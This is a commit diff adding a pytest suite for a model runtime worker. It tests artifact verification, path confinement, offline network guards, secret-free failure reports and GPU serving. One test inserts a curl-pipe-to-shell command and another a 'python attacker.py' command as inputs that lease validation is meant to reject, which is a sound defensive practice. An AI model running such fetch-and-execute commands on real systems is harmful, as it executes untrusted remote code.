Initial public ModelForge release
This commit is contained in:
Jens
@@ -0,0 +1,609 @@
|
||||
from __future__ import annotations
|
||||
|
||||
import hashlib
|
||||
import json
|
||||
import socket
|
||||
import uuid
|
||||
from pathlib import Path
|
||||
from typing import Any
|
||||
|
||||
import pytest
|
||||
from pydantic import ValidationError
|
||||
|
||||
from modelforge_runtime_worker.adapters import (
|
||||
QwenRerankerAdapter,
|
||||
SentenceTransformersAdapter,
|
||||
Siglip2Adapter,
|
||||
TrOCRAdapter,
|
||||
WhisperAdapter,
|
||||
adapter_for,
|
||||
)
|
||||
from modelforge_runtime_worker.contracts import AgentRuntimeProbeLease, AgentServingJobLease
|
||||
from modelforge_runtime_worker.probe import (
|
||||
ProbeFailure,
|
||||
child_entry,
|
||||
confined,
|
||||
deny_external_network,
|
||||
verify_artifacts,
|
||||
)
|
||||
from modelforge_runtime_worker.serving import ServingEngine
|
||||
from modelforge_runtime_worker.settings import RuntimeWorkerSettings
|
||||
from modelforge_runtime_worker.transport import RuntimeTransport
|
||||
from modelforge_runtime_worker.worker import ProbeCancelled, RuntimeWorker
|
||||
|
||||
|
||||
class FakeTransport:
|
||||
def __init__(self, lease: dict[str, Any] | None = None) -> None:
|
||||
self.lease = lease
|
||||
self.progress_responses: list[dict[str, Any]] = []
|
||||
self.failures: list[dict[str, Any]] = []
|
||||
self.completed: list[dict[str, Any]] = []
|
||||
|
||||
def next_probe(self, _credential: str) -> dict[str, Any] | None:
|
||||
value, self.lease = self.lease, None
|
||||
return value
|
||||
|
||||
def progress(self, _probe_id: str, _credential: str, _payload: dict[str, Any]):
|
||||
return (
|
||||
self.progress_responses.pop(0)
|
||||
if self.progress_responses
|
||||
else {"cancel_requested": False}
|
||||
)
|
||||
|
||||
def complete(self, _probe_id: str, _credential: str, payload: dict[str, Any]):
|
||||
self.completed.append(payload)
|
||||
return {}
|
||||
|
||||
def fail(self, _probe_id: str, _credential: str, payload: dict[str, Any]):
|
||||
self.failures.append(payload)
|
||||
return {}
|
||||
|
||||
def close(self) -> None:
|
||||
pass
|
||||
|
||||
|
||||
def lease_payload() -> dict[str, Any]:
|
||||
return {
|
||||
"probe_id": "00000000-0000-0000-0000-000000000001",
|
||||
"lease_token": "x" * 32,
|
||||
"lease_expires_at": "2030-01-01T00:00:00Z",
|
||||
"artifact_set_id": "00000000-0000-0000-0000-000000000002",
|
||||
"revision_sha": "a" * 40,
|
||||
"artifact_root": "/models",
|
||||
"artifact_relative_path": "repositories/model/" + "a" * 40,
|
||||
"expected_manifest": {"files": []},
|
||||
"runtime_profile": {
|
||||
"id": "00000000-0000-0000-0000-000000000003",
|
||||
"adapter": "sentence_transformers",
|
||||
"max_sequence_length": 128,
|
||||
},
|
||||
"runtime_environment": {
|
||||
"image_digest": "sha256:" + "b" * 64,
|
||||
"fingerprint": "c" * 64,
|
||||
},
|
||||
"probe_input": "ModelForge runtime compatibility probe",
|
||||
}
|
||||
|
||||
|
||||
def serving_lease_payload(operation: str = "load") -> dict[str, Any]:
|
||||
return {
|
||||
"job_id": "00000000-0000-0000-0000-000000000010",
|
||||
"lease_token": "s" * 32,
|
||||
"lease_expires_at": "2030-01-01T00:00:00Z",
|
||||
"operation": operation,
|
||||
"deployment_id": "00000000-0000-0000-0000-000000000011",
|
||||
"artifact_set_id": "00000000-0000-0000-0000-000000000002",
|
||||
"revision_sha": "a" * 40,
|
||||
"artifact_root": "/models",
|
||||
"artifact_relative_path": "repositories/model/" + "a" * 40,
|
||||
"expected_manifest": {"files": []},
|
||||
"runtime_profile": {
|
||||
"id": "00000000-0000-0000-0000-000000000003",
|
||||
"adapter": "sentence_transformers",
|
||||
"max_sequence_length": 128,
|
||||
"trust_remote_code": False,
|
||||
"network_egress": False,
|
||||
},
|
||||
"runtime_environment": {
|
||||
"image_digest": "sha256:" + "b" * 64,
|
||||
"fingerprint": "c" * 64,
|
||||
},
|
||||
"embedding_space_id": "00000000-0000-0000-0000-000000000012",
|
||||
"expected_dimension": 1024,
|
||||
"normalize": True,
|
||||
"input": ["ModelForge serving"] if operation in {"invoke", "health"} else None,
|
||||
"request_id": "00000000-0000-0000-0000-000000000013",
|
||||
}
|
||||
|
||||
|
||||
def make_settings(tmp_path: Path) -> RuntimeWorkerSettings:
|
||||
credential = tmp_path / "credential"
|
||||
credential.write_text("credential", encoding="utf-8")
|
||||
return RuntimeWorkerSettings(
|
||||
credential_file=credential,
|
||||
artifact_root=tmp_path / "models",
|
||||
tls_verify=False,
|
||||
)
|
||||
|
||||
|
||||
def test_artifact_verification_streams_exact_digest_and_size(tmp_path: Path) -> None:
|
||||
root = tmp_path / "set"
|
||||
root.mkdir()
|
||||
payload = b"verified-runtime-artifact"
|
||||
(root / "model.safetensors").write_bytes(payload)
|
||||
verify_artifacts(
|
||||
root,
|
||||
{
|
||||
"files": [
|
||||
{
|
||||
"path": "model.safetensors",
|
||||
"size_bytes": len(payload),
|
||||
"sha256": hashlib.sha256(payload).hexdigest(),
|
||||
}
|
||||
]
|
||||
},
|
||||
)
|
||||
|
||||
|
||||
@pytest.mark.parametrize("mutation", ["size", "digest", "missing"])
|
||||
def test_artifact_verification_fails_closed(tmp_path: Path, mutation: str) -> None:
|
||||
root = tmp_path / "set"
|
||||
root.mkdir()
|
||||
target = root / "config.json"
|
||||
target.write_text("{}", encoding="utf-8")
|
||||
item = {
|
||||
"path": "config.json",
|
||||
"size_bytes": 2,
|
||||
"sha256": hashlib.sha256(b"{}").hexdigest(),
|
||||
}
|
||||
if mutation == "size":
|
||||
item["size_bytes"] = 3
|
||||
elif mutation == "digest":
|
||||
item["sha256"] = "0" * 64
|
||||
else:
|
||||
target.unlink()
|
||||
with pytest.raises(ProbeFailure):
|
||||
verify_artifacts(root, {"files": [item]})
|
||||
|
||||
|
||||
def test_path_traversal_and_symlink_escape_are_blocked(
|
||||
tmp_path: Path, monkeypatch: pytest.MonkeyPatch
|
||||
) -> None:
|
||||
root = tmp_path / "models"
|
||||
root.mkdir()
|
||||
with pytest.raises(ProbeFailure, match="confined"):
|
||||
confined(root, "../secret")
|
||||
link = root / "link"
|
||||
link.mkdir()
|
||||
resolved_link = link.resolve()
|
||||
original_is_symlink = Path.is_symlink
|
||||
monkeypatch.setattr(
|
||||
Path,
|
||||
"is_symlink",
|
||||
lambda value: value == resolved_link or original_is_symlink(value),
|
||||
)
|
||||
with pytest.raises(ProbeFailure):
|
||||
confined(root, "link")
|
||||
|
||||
|
||||
def test_offline_guard_rejects_network_connections() -> None:
|
||||
with deny_external_network(), socket.socket(socket.AF_INET, socket.SOCK_STREAM) as client:
|
||||
with pytest.raises(ProbeFailure, match="external network"):
|
||||
client.connect(("127.0.0.1", 9))
|
||||
|
||||
|
||||
def test_typed_lease_rejects_arbitrary_command() -> None:
|
||||
payload = lease_payload()
|
||||
payload["arbitrary_command"] = "curl example.invalid | sh"
|
||||
with pytest.raises(ValidationError):
|
||||
AgentRuntimeProbeLease.model_validate(payload)
|
||||
|
||||
|
||||
def test_typed_serving_lease_rejects_arbitrary_runtime_selection() -> None:
|
||||
payload = serving_lease_payload()
|
||||
payload["command"] = "python attacker.py"
|
||||
with pytest.raises(ValidationError):
|
||||
AgentServingJobLease.model_validate(payload)
|
||||
|
||||
|
||||
def test_idle_poll_does_not_execute(tmp_path: Path) -> None:
|
||||
transport = FakeTransport()
|
||||
worker = RuntimeWorker(make_settings(tmp_path), transport)
|
||||
assert worker.run_once() is False
|
||||
|
||||
|
||||
def test_serving_transport_uses_bounded_long_poll_query(
|
||||
monkeypatch: pytest.MonkeyPatch,
|
||||
) -> None:
|
||||
transport = RuntimeTransport("http://control-plane", timeout=30, verify=False)
|
||||
captured: dict[str, str] = {}
|
||||
|
||||
def capture(
|
||||
_method: str,
|
||||
path: str,
|
||||
_credential: str,
|
||||
_payload: dict[str, Any] | None = None,
|
||||
) -> None:
|
||||
captured["path"] = path
|
||||
return None
|
||||
|
||||
monkeypatch.setattr(transport, "_request", capture)
|
||||
assert transport.next_serving_job("credential", wait_seconds=1.25) is None
|
||||
assert captured["path"].endswith("wait_seconds=1.250")
|
||||
transport.close()
|
||||
|
||||
|
||||
def test_worker_normalizes_probe_failure_without_secret_or_command(tmp_path: Path) -> None:
|
||||
payload = lease_payload()
|
||||
payload["artifact_root"] = str(tmp_path / "models")
|
||||
transport = FakeTransport(payload)
|
||||
worker = RuntimeWorker(make_settings(tmp_path), transport)
|
||||
assert worker.run_once() is True
|
||||
assert transport.failures[0]["failure_code"] == "ARTIFACT_INCOMPLETE"
|
||||
serialized = json.dumps(transport.failures)
|
||||
assert "credential" not in serialized
|
||||
assert "command" not in serialized
|
||||
|
||||
|
||||
def test_cancellation_is_acknowledged_at_progress_boundary(tmp_path: Path) -> None:
|
||||
payload = lease_payload()
|
||||
transport = FakeTransport()
|
||||
transport.progress_responses.append({"cancel_requested": True})
|
||||
worker = RuntimeWorker(make_settings(tmp_path), transport)
|
||||
with pytest.raises(ProbeCancelled):
|
||||
worker._progress(AgentRuntimeProbeLease.model_validate(payload), "loading")
|
||||
|
||||
|
||||
class CaptureQueue:
|
||||
def __init__(self) -> None:
|
||||
self.messages: list[dict[str, Any]] = []
|
||||
|
||||
def put(self, message: dict[str, Any]) -> None:
|
||||
self.messages.append(message)
|
||||
|
||||
|
||||
def test_adapter_registry_is_typed_and_rejects_unimplemented_runtime() -> None:
|
||||
assert isinstance(adapter_for("sentence_transformers"), SentenceTransformersAdapter)
|
||||
assert isinstance(adapter_for("qwen3_reranker"), QwenRerankerAdapter)
|
||||
assert isinstance(adapter_for("transformers_trocr"), TrOCRAdapter)
|
||||
assert isinstance(adapter_for("transformers_siglip2"), Siglip2Adapter)
|
||||
assert isinstance(adapter_for("transformers_whisper"), WhisperAdapter)
|
||||
with pytest.raises(ProbeFailure, match="not executable"):
|
||||
adapter_for("vllm")
|
||||
|
||||
|
||||
def test_siglip_text_item_is_not_misclassified_when_optional_image_is_null() -> None:
|
||||
assert (
|
||||
Siglip2Adapter.item_modality(
|
||||
{"image_base64": None, "media_type": None, "text": "a blue circle"}
|
||||
)
|
||||
== "text"
|
||||
)
|
||||
assert (
|
||||
Siglip2Adapter.item_modality(
|
||||
{"image_base64": "cG5n", "media_type": "image/png", "text": None}
|
||||
)
|
||||
== "image"
|
||||
)
|
||||
with pytest.raises(ProbeFailure, match="no supported content"):
|
||||
Siglip2Adapter.item_modality({"image_base64": None, "media_type": None, "text": " "})
|
||||
|
||||
|
||||
def test_child_normalizes_gpu_oom_without_exception_details(
|
||||
monkeypatch: pytest.MonkeyPatch,
|
||||
) -> None:
|
||||
queue = CaptureQueue()
|
||||
|
||||
def oom(_path: Path, _lease: dict[str, Any]) -> dict[str, Any]:
|
||||
raise RuntimeError("CUDA out of memory: sensitive allocator details")
|
||||
|
||||
monkeypatch.setattr("modelforge_runtime_worker.probe.run_sentence_transformers_probe", oom)
|
||||
child_entry(lease_payload(), "/models/exact", queue)
|
||||
assert queue.messages[-1] == {
|
||||
"type": "failure",
|
||||
"code": "GPU_OOM",
|
||||
"message": "RuntimeError",
|
||||
}
|
||||
|
||||
|
||||
def test_child_normalizes_unexpected_worker_crash(monkeypatch: pytest.MonkeyPatch) -> None:
|
||||
queue = CaptureQueue()
|
||||
|
||||
def crash(_path: Path, _lease: dict[str, Any]) -> dict[str, Any]:
|
||||
raise ValueError("secret should not cross process boundary")
|
||||
|
||||
monkeypatch.setattr("modelforge_runtime_worker.probe.run_sentence_transformers_probe", crash)
|
||||
child_entry(lease_payload(), "/models/exact", queue)
|
||||
assert queue.messages[-1]["code"] == "RUNTIME_CRASH"
|
||||
assert queue.messages[-1]["message"] == "ValueError"
|
||||
|
||||
|
||||
def test_unload_reclamation_failure_is_detected_without_claiming_success(
|
||||
tmp_path: Path, monkeypatch: pytest.MonkeyPatch
|
||||
) -> None:
|
||||
worker = RuntimeWorker(make_settings(tmp_path), FakeTransport())
|
||||
samples = iter(
|
||||
[
|
||||
{"used_vram_bytes": 500 * 1024**2},
|
||||
{"used_vram_bytes": 500 * 1024**2},
|
||||
]
|
||||
)
|
||||
times = iter([0.0, 11.0])
|
||||
monkeypatch.setattr("modelforge_runtime_worker.worker.gpu_sample", lambda: next(samples))
|
||||
monkeypatch.setattr("modelforge_runtime_worker.worker.time.monotonic", lambda: next(times))
|
||||
after, reclaimed = worker._after_unload({"used_vram_bytes": 0})
|
||||
assert after["used_vram_bytes"] == 500 * 1024**2
|
||||
assert reclaimed is False
|
||||
|
||||
|
||||
class FakeServingAdapter(SentenceTransformersAdapter):
|
||||
def inspect_support(self, lease: dict[str, Any]) -> None:
|
||||
assert lease["runtime_profile"]["trust_remote_code"] is False
|
||||
|
||||
def prepare(self) -> None:
|
||||
pass
|
||||
|
||||
def start(self, _model_path: Path, _profile: dict[str, Any]) -> None:
|
||||
self.before = {
|
||||
"used_vram_bytes": 100,
|
||||
"process_used_vram_bytes": 10,
|
||||
"gpu_uuid": "GPU-test",
|
||||
}
|
||||
self.loaded = {
|
||||
"used_vram_bytes": 300,
|
||||
"process_used_vram_bytes": 210,
|
||||
"gpu_uuid": "GPU-test",
|
||||
}
|
||||
self.during = self.loaded
|
||||
self.load_time_ms = 200.0
|
||||
self.model = object()
|
||||
|
||||
def invoke(self, inputs: list[str], *, input_type: str = "raw") -> dict[str, Any]:
|
||||
assert input_type in {"raw", "query", "document"}
|
||||
self.during = {
|
||||
"used_vram_bytes": 320,
|
||||
"process_used_vram_bytes": 220,
|
||||
"temperature_c": 50,
|
||||
"power_draw_w": 40.0,
|
||||
"gpu_uuid": "GPU-test",
|
||||
}
|
||||
self.inference = {"finite": True, "dimension": 1024, "normalized": True}
|
||||
return {
|
||||
"vectors": [[1.0] + [0.0] * 1023 for _ in inputs],
|
||||
"count": len(inputs),
|
||||
"shape": [len(inputs), 1024],
|
||||
"dimension": 1024,
|
||||
"finite": True,
|
||||
"normalized": True,
|
||||
"prompt_tokens": len(inputs) * 4,
|
||||
"inference_time_ms": 25.0,
|
||||
}
|
||||
|
||||
def collect_runtime_facts(self, _lease: dict[str, Any]) -> dict[str, Any]:
|
||||
return {
|
||||
"offline_local_only": True,
|
||||
"trust_remote_code": False,
|
||||
"network_attempts": 0,
|
||||
}
|
||||
|
||||
def stop(self) -> None:
|
||||
self.model = None
|
||||
|
||||
def unload(self) -> None:
|
||||
self.model = None
|
||||
|
||||
|
||||
class FakeRerankerAdapter(QwenRerankerAdapter):
|
||||
def inspect_support(self, lease: dict[str, Any]) -> None:
|
||||
assert lease["runtime_profile"]["trust_remote_code"] is False
|
||||
assert lease["runtime_profile"]["network_egress"] is False
|
||||
|
||||
def prepare(self) -> None:
|
||||
pass
|
||||
|
||||
def start(self, _model_path: Path, _profile: dict[str, Any]) -> None:
|
||||
self.before = {
|
||||
"used_vram_bytes": 100,
|
||||
"process_used_vram_bytes": 10,
|
||||
"gpu_uuid": "GPU-test",
|
||||
}
|
||||
self.loaded = {
|
||||
"used_vram_bytes": 300,
|
||||
"process_used_vram_bytes": 210,
|
||||
"gpu_uuid": "GPU-test",
|
||||
}
|
||||
self.during = self.loaded
|
||||
self.load_time_ms = 200.0
|
||||
self.model = object()
|
||||
self.tokenizer = object()
|
||||
|
||||
def probe(self, _probe_input: str) -> dict[str, Any]:
|
||||
self.inference = {"finite": True, "count": 1}
|
||||
return {
|
||||
"status": "passed",
|
||||
"output_type": "ranked_scores",
|
||||
"finite": True,
|
||||
"count": 1,
|
||||
"latency_ms": 5.0,
|
||||
}
|
||||
|
||||
def rerank(self, _query: str, documents: list[dict[str, str]], top_n: int) -> dict[str, Any]:
|
||||
self.during = {
|
||||
"used_vram_bytes": 320,
|
||||
"process_used_vram_bytes": 220,
|
||||
"temperature_c": 50,
|
||||
"power_draw_w": 40.0,
|
||||
"gpu_uuid": "GPU-test",
|
||||
}
|
||||
ordered = list(reversed(documents))[:top_n]
|
||||
return {
|
||||
"results": [
|
||||
{"id": document["id"], "score": 1.0 - index / 10, "rank": index + 1}
|
||||
for index, document in enumerate(ordered)
|
||||
],
|
||||
"count": len(documents),
|
||||
"top_n": top_n,
|
||||
"finite": True,
|
||||
"prompt_tokens": 12,
|
||||
"inference_time_ms": 20.0,
|
||||
"timings": {"worker_total_ms": 22.0},
|
||||
}
|
||||
|
||||
def collect_runtime_facts(self, _lease: dict[str, Any]) -> dict[str, Any]:
|
||||
return {
|
||||
"offline_local_only": True,
|
||||
"trust_remote_code": False,
|
||||
"network_attempts": 0,
|
||||
}
|
||||
|
||||
def unload(self) -> None:
|
||||
self.model = None
|
||||
self.tokenizer = None
|
||||
|
||||
|
||||
def test_serving_engine_load_invoke_warm_reuse_and_unload(
|
||||
tmp_path: Path, monkeypatch: pytest.MonkeyPatch
|
||||
) -> None:
|
||||
model_path = tmp_path / "repositories" / "model" / ("a" * 40)
|
||||
model_path.mkdir(parents=True)
|
||||
payload = serving_lease_payload("load")
|
||||
payload["artifact_root"] = str(tmp_path)
|
||||
monkeypatch.setattr(
|
||||
"modelforge_runtime_worker.serving.adapter_for", lambda _name: FakeServingAdapter()
|
||||
)
|
||||
monkeypatch.setattr(
|
||||
"modelforge_runtime_worker.serving.gpu_sample",
|
||||
lambda: {
|
||||
"used_vram_bytes": 500,
|
||||
"process_used_vram_bytes": 10,
|
||||
"temperature_c": 48,
|
||||
"power_draw_w": 10.0,
|
||||
},
|
||||
)
|
||||
engine = ServingEngine(tmp_path, reclaim_tolerance_bytes=0)
|
||||
loaded = engine.execute(payload)
|
||||
assert loaded.state == "warm" and loaded.metrics["loaded_vram_bytes"] == 300
|
||||
assert engine.load_count == 1
|
||||
duplicate = engine.execute(payload)
|
||||
assert duplicate.result["already_resident"] is True and engine.load_count == 1
|
||||
invoke = serving_lease_payload("invoke")
|
||||
invoke["artifact_root"] = str(tmp_path)
|
||||
result = engine.execute(invoke)
|
||||
assert result.result["count"] == 1
|
||||
assert len(result.result["vectors"][0]) == 1024
|
||||
unload = serving_lease_payload("unload")
|
||||
unload["artifact_root"] = str(tmp_path)
|
||||
unloaded = engine.execute(unload)
|
||||
assert unloaded.result["reclaimed"] is True
|
||||
assert unloaded.metrics["after_unload_vram_bytes"] == 500
|
||||
assert unloaded.metrics["after_unload_process_vram_bytes"] == 10
|
||||
assert engine.state == "cold" and engine.deployment_id is None
|
||||
|
||||
|
||||
def test_serving_engine_requires_residency_before_invoke(tmp_path: Path) -> None:
|
||||
engine = ServingEngine(tmp_path, reclaim_tolerance_bytes=0)
|
||||
payload = serving_lease_payload("invoke")
|
||||
payload["artifact_root"] = str(tmp_path)
|
||||
with pytest.raises(ProbeFailure, match="not resident"):
|
||||
engine.execute(payload)
|
||||
|
||||
|
||||
def test_serving_engine_keeps_two_exact_deployments_resident(
|
||||
tmp_path: Path, monkeypatch: pytest.MonkeyPatch
|
||||
) -> None:
|
||||
model_path = tmp_path / "repositories" / "model" / ("a" * 40)
|
||||
model_path.mkdir(parents=True)
|
||||
monkeypatch.setattr(
|
||||
"modelforge_runtime_worker.serving.adapter_for", lambda _name: FakeServingAdapter()
|
||||
)
|
||||
monkeypatch.setattr(
|
||||
"modelforge_runtime_worker.serving.gpu_sample",
|
||||
lambda: {
|
||||
"used_vram_bytes": 500,
|
||||
"process_used_vram_bytes": 10,
|
||||
"temperature_c": 48,
|
||||
"power_draw_w": 10.0,
|
||||
},
|
||||
)
|
||||
engine = ServingEngine(tmp_path, reclaim_tolerance_bytes=0)
|
||||
first = serving_lease_payload("load")
|
||||
first["artifact_root"] = str(tmp_path)
|
||||
second = {**first, "deployment_id": str(uuid.uuid4()), "job_id": str(uuid.uuid4())}
|
||||
engine.execute(first)
|
||||
engine.execute(second)
|
||||
assert len(engine.slots) == 2
|
||||
assert len(engine.state_report().residencies) == 2
|
||||
invoke_first = serving_lease_payload("invoke")
|
||||
invoke_first["artifact_root"] = str(tmp_path)
|
||||
invoke_second = {
|
||||
**invoke_first,
|
||||
"deployment_id": second["deployment_id"],
|
||||
"job_id": str(uuid.uuid4()),
|
||||
}
|
||||
assert engine.execute(invoke_first).result["count"] == 1
|
||||
assert engine.execute(invoke_second).result["count"] == 1
|
||||
unload_first = serving_lease_payload("unload")
|
||||
unload_first["artifact_root"] = str(tmp_path)
|
||||
engine.execute(unload_first)
|
||||
assert len(engine.slots) == 1
|
||||
assert engine.state == "warm"
|
||||
|
||||
|
||||
def test_reranking_serving_engine_preserves_ids_and_never_returns_content(
|
||||
tmp_path: Path, monkeypatch: pytest.MonkeyPatch
|
||||
) -> None:
|
||||
model_path = tmp_path / "repositories" / "model" / ("a" * 40)
|
||||
model_path.mkdir(parents=True)
|
||||
monkeypatch.setattr(
|
||||
"modelforge_runtime_worker.serving.adapter_for", lambda _name: FakeRerankerAdapter()
|
||||
)
|
||||
engine = ServingEngine(tmp_path, reclaim_tolerance_bytes=0)
|
||||
load = serving_lease_payload("load")
|
||||
load.update(
|
||||
{
|
||||
"artifact_root": str(tmp_path),
|
||||
"capability": "rag.reranking",
|
||||
"embedding_space_id": None,
|
||||
"expected_dimension": None,
|
||||
"normalize": None,
|
||||
"runtime_profile": {
|
||||
**load["runtime_profile"],
|
||||
"adapter": "qwen3_reranker",
|
||||
},
|
||||
}
|
||||
)
|
||||
loaded = engine.execute(load)
|
||||
assert loaded.state == "warm"
|
||||
invoke = serving_lease_payload("invoke")
|
||||
invoke.update(
|
||||
{
|
||||
"artifact_root": str(tmp_path),
|
||||
"capability": "rag.reranking",
|
||||
"embedding_space_id": None,
|
||||
"expected_dimension": None,
|
||||
"normalize": None,
|
||||
"input": None,
|
||||
"runtime_profile": load["runtime_profile"],
|
||||
"rerank_query": "query content",
|
||||
"rerank_documents": [
|
||||
{"id": "a", "text": "first secret body"},
|
||||
{"id": "b", "text": "second secret body"},
|
||||
],
|
||||
"top_n": 2,
|
||||
}
|
||||
)
|
||||
result = engine.execute(invoke)
|
||||
assert [item["id"] for item in result.result["results"]] == ["b", "a"]
|
||||
serialized = json.dumps(result.model_dump(mode="json"))
|
||||
assert "secret body" not in serialized
|
||||
assert result.runtime_facts["offline_local_only"] is True
|
||||
|
||||
|
||||
def test_worker_state_report_contains_no_artifact_path_or_request_content(tmp_path: Path) -> None:
|
||||
report = (
|
||||
ServingEngine(tmp_path, reclaim_tolerance_bytes=0).state_report().model_dump(mode="json")
|
||||
)
|
||||
serialized = json.dumps(report)
|
||||
assert report["state"] == "cold"
|
||||
assert "artifact" not in serialized
|
||||
assert "ModelForge serving" not in serialized
|
||||
Reference in New Issue
Block a user